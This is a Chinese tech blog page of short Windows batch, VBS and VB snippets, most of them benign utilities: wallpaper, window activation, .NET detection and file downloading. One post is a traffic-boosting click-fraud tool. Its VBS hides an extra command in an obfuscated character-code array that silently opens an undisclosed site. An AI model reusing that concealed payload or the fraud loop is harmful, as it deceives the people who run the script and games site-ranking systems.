洛阳翼展电脑

更改计算机描述

2019-8-2 乱云飞 评论(0) 浏览(656) 标签: 批处理 注册表 更改计算机描述

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\Parameters" /v srvcomment /t reg_sz /d 描述文字 /f

两种方法更改桌面壁纸

2019-8-2 乱云飞 评论(0) 浏览(671) 标签: 批处理 更换桌面背景 桌面壁纸

@reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d %~dp0ez.bmp /f
@RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters

---------------------------------------------------------

cd /

cd %~dp0
copy ez.bmp C:\ez.bmp
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /V Wallpaper /D C:\ez.bmp /F
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
cmd /k

激活窗口，只写窗口标题前半部分就行

2019-8-2 乱云飞 评论(0) 浏览(705) 标签: 批处理 VBS 激活窗口

Set WshShell = CreateObject("WScript.Shell")
WshShell.AppActivate "任务管理"

WshShell.SendKeys "{Enter}"

-------------------------------------------------------------------

'<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<激活窗口
Private Sub jihuo()
Set www = CreateObject("wscript.shell") '-------------------定义shell
Shell "cmd.exe /c echo Set www = CreateObject(""WScript.Shell""):www.AppActivate ""EZSOFT"">%TEMP%\app.vbs", vbHide
Shell ("cmd /c %temp%\app.vbs"), vbHide '//激活窗口
End Sub
'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

百度里找到了一个很久以前写的批处理

2019-7-31 乱云飞 评论(0) 浏览(608) 标签: 批处理 刷网站流量 刷网站排名

以下红色部分代码保存为：shua.bat
===========================================
@ title 网站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo 网站刷流量排名工具。如需帮助请联系 QQ 345794501
@ echo ----------------------------------------------------------
@ color 0A
@ echo off
@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
@ set 连接名称=中国网通
@ set 宽带帐号=13213610060
@ set 宽带密码=123456
@ set 延迟时间=15
@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %连接名称% %宽带帐号% %宽带密码%
@ start shua.vbs
@ ping 127.0.0.1 -n %延迟时间%
@ Rasdial %连接名称% /disconnect
@ taskkill /f /im IEXPLORE.EXE
@ rem 循环
@ goto start
===========================================
以下黄色部分代码修改后保存为：shua.vbs
===========================================
Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。联系QQ 345794501 //
objShell.Run "IEXPLORE.EXE http://80c.cc/vip/free.htm",0
objShell.Run "IEXPLORE.EXE http://80c.cc/ceshi.htm",0

老虎抢亲程序代码

2019-7-29 乱云飞 代码 评论(0) 浏览(704) 标签: 老虎抢亲 VB代码　抢窗口

'被抢窗口需要提前启动
Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Form_Load()
SetParent FindWindow(vbNullString, "新建文本文档 - 记事本"), Me.hWnd
Me.WindowState = 0
End Sub

修改网页内容代码

2019-7-29 乱云飞 代码 评论(0) 浏览(754) 标签: 修改网页内容 脚本代码

javascript:document.body.contentEditable='true';document.designMode='on';void0

谷歌浏览器使用方法: 

F12--->conlsole--->document.body.contentEditable = "true"--->回车即可编辑网页内容

批处理检测是否安装过 Microsoft.NET Framework

2019-7-11 乱云飞 评论(0) 浏览(971) 标签: 代码 批处理 检测 .net

@echo off
set checked=0
if exist "%windir%\Microsoft.NET\Framework\v1.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v1.1*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v2.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.5*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v4.0*" set checked=1
if %checked% EQU 1 (echo 已安装.NET Framework) else (echo 未安装.NET Framework)
pause>nul

百度网盘不限速下载

2019-7-10 乱云飞 电脑 评论(0) 浏览(753) 标签: 下载 百度网盘 不限速 资源搜索

图标提取器

2019-7-10 乱云飞 评论(0) 浏览(744) 标签: 图标 ICO 提取器

批处理批量下载文件

2019-6-29 乱云飞 评论(0) 浏览(831) 标签: 代码 批处理 批量下载 下载文件

@echo off  &REM 会被火绒识别为木马
for /l %%i in (1,1,88) do (  
echo "http://80c.cc/%%i.mp3" "%cd%/%%i.mp3"  
down.vbs "http://80c.cc/%%i.mp3" "%cd%/%%i.mp3"  
)  
******************************************************
Download Wscript.Arguments(0),Wscript.Arguments(1)  
Sub Download(url,target)  
    Set post=CreateObject("Msxml2.XMLHTTP")  
    post.Open "GET",url  
    '发送请求  
    post.Send()  
    Set aGet = CreateObject("ADODB.Stream")  
    aGet.Mode = 3  
    aGet.Type = 1  
    aGet.Open()  
    '等待3秒，等文件下载  
    wscript.sleep 3000   
    aGet.Write(post.responseBody)'写数据  
    aGet.SaveToFile target,2  
End Sub